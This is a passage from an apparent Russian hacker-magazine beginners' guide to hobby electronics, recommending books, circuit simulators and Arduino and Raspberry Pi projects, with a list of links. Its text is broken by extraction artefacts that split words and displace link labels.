Пер вая  гла ва  «Осно вы  элек тро ники»  —  прак тичес ки  школь ный  курс

физики.  Изло жено  все  дос тупным  язы ком,  кни га  даст  все  необ ходимое,
что бы  осво ить ся  с  нуля,  или  поможет  вос полнить  про белы  и  сис темати‐ 
зиро вать  зна ния  тем,  кто  уже  зна ком  со  схе мотех никой.  На  форумах
пишут,  что  кни га  ста рая  и  упу щены  «тон кие  момен ты».  Но  почему‐то
не говорят, что имен но упу щено.

2. «Осно вы схе мотех ники», Е. Воробь ева, В. Иван ченко
Кни га  пред став ляет  собой  кон спект  лек ций.  Плюс —  крат кость  изло‐ 

жения. Минус оче вид ный: нович ку эта кни га может быть слож новата.
3. «Циф ровая  схе мотех ника  и  архи тек тура  компь юте ра»,  Д.  Хэр- 
рис и С. Хэр рис

От личная кни га, о которой слы шал каж дый, кто хоть ког да‐нибудь инте‐ 
ресо вал ся архи тек турой компь юте ра. Здесь раз бира ются язы ки опи сания
аппа рату ры — SystemVerilog и VHDL.

Ес ли  у  тебя  нет  вре мени  на  чте ние,  то  понять,  что  у  чему,  поможет ПО  для
модели рова ния  схем  (или  пос лужит  наг лядной  иллюс тра цией  к  про читан‐ 
ному).  Из  наибо лее  прод винутых  можешь  пос мотреть  , 
и  опен сор сный  .  Но  вари антов  мас са,  есть  даже 

.

LTspice DipTrace
Qucs бес плат ные  симуля‐ 

торы, работа ющие пря мо в бра узе ре

При мер схе мы, раз веден ной в DipTrace

ПЕРВЫЙ ПРОЕКТ
Ана лог «Hello world!» в элек тро нике — это мигание све тоди одом. В качес тве
пер вого про екта — самое то. Если захочешь усложнить, делай све тоди одную
мат рицу,  на  которую  мож но  выводить  пик сель ную  кар тинку  или  даже  ани‐ 
мацию.  Добавь  пару  кно пок,  и  готов  игро вой  авто мат,  на  котором  пой дет
«Змей ка».  Даль ше  можешь  осво ить  модули,  которые  тебе  приг лянут ся,
— нап ример, для изме рения тем перату ры и влаж ности в ком нате.

Все  это  зай мет  не  так  мно го  вре мени,  зато  даст  осво ить ся  с  базовы ми
навыка ми  и  вдох новить ся  на  даль нейшее  раз витие.  Теперь  более  слож ный
про ект как минимум не будет казать ся таким уж страш ным.

Ес ли  ты  все  еще  не  при думал,  что  хочешь  сде лать,  но  уже  опре делил ся
с плат формой, то в интерне те ты обя затель но най дешь что‐нибудь по вку су.
Если  ты выб рал Raspberry Pi, есть смысл заг лянуть на  , в 
и на сайт  .

Qwrt блог  Imena.ua
projects.raspberrypi.org

Ес ли  же  твой  выбор  пал  на  мик рокон трол лер  Arduino,  тебя  впе чат лит
выбор про ектов на   и на  .cxem.net arduino.cc

ПРИМЕРЫ ДЛЯ ВДОХНОВЕНИЯ
На пос ледок я хочу рас ска зать о нес коль ких кру тых про ектах, которые дол жны
подог реть твой инте рес еще боль ше.

В свое вре мя меня впе чат лило  ,  которое спо‐ 
соб но  взло мать  навес ной  кодовый  замок  приб лизитель но  за  пять  минут.
При  пред варитель ном  тес те  зам ка  количес тво  ком бинаций  для  перебо ра
мож но умень шить в десять раз.

ус трой ство на базе Arduino

Ус трой ство для взло ма зам ка

Ес ли  тебе  боль ше  нра вят ся  роботы,  то  обра ти  вни мание  на  соб ранную
из труб ПВХ  . На мой вкус — выда ющий ся экзем пляр робото тех‐ 
ники.  Его  мож но  исполь зовать  для  изу чения  водо ема  или  же  сде лать  аква‐ 
риум  с  такими  жиль цами  для  собс твен ного  удо воль ствия.  А  для  соз дания
подоб ной  рыбы  нуж но  не  так  мно го:  водонеп роница емые  сер вопри воды
и кон трол лер Arduino.

ры бу‐робота

Впол не реалис тичная роборы ба из тру бы ПВХ

Из Raspberry Pi мож но сде лать самопаль ный   или  , но это
не очень‐то  зах ватыва юще. По  край ней мере,  в  срав нении со стра тос татом
на Raspberry Pi, который сде лает замеча тель ные сним ки или запишет видео.
Кое‐кто даже  , где ему и мес то. Супер герой дос‐ 
тиг зна читель ной высоты — 35,5 км.

компь ютер план шет

за пус тил в небо Супер мена

По лет

Я пос тарал ся рас ска зать здесь о самых азах, но чем глуб же изу чаешь воп рос,
тем инте рес нее ста новит ся. Наде юсь, мои советы при годят ся тебе и ты соз‐ 
дашь  что‐нибудь  пот ряса ющее.  А  если  уже  соз дал  и  готов  поделить ся
с миром сво им изоб ретени ем, то обя затель но дай знать  !ре дак ции «Хакера»

https://www.khanacademy.org/science/electrical-engineering/
https://www.khanacademy.org/science/electrical-engineering/introduction-to-ee
https://www.khanacademy.org/science/electrical-engineering/ee-circuit-analysis-topic
https://www.khanacademy.org/science/electrical-engineering/reverse-engin
https://www.analog.com/en/design-center/design-tools-and-calculators.html
https://diptrace.com/rus/
http://qucs.sourceforge.net/
https://xakep.ru/2017/06/05/www-easyeda-circuit-simulator/
http://www.qwrt.ru/news/3002
https://www.imena.ua/blog/raspberry-pi-zero-top-10/
https://projects.raspberrypi.org/en/projects?interests%5B%5D=big-project
http://cxem.net/arduino/arduino.php
https://www.arduino.cc/en/Tutorial/HomePage
https://habr.com/post/379549/
https://robotics.ua/build_robot/medium_robots/5833-diy_realistichnaya_robot_ryba_pod_arduino
http://cxem.net/arduino/arduino160.php
https://xakep.ru/2014/01/15/61883/
http://www.daveakerman.com/?p=1669
https://xakep.ru/contact/
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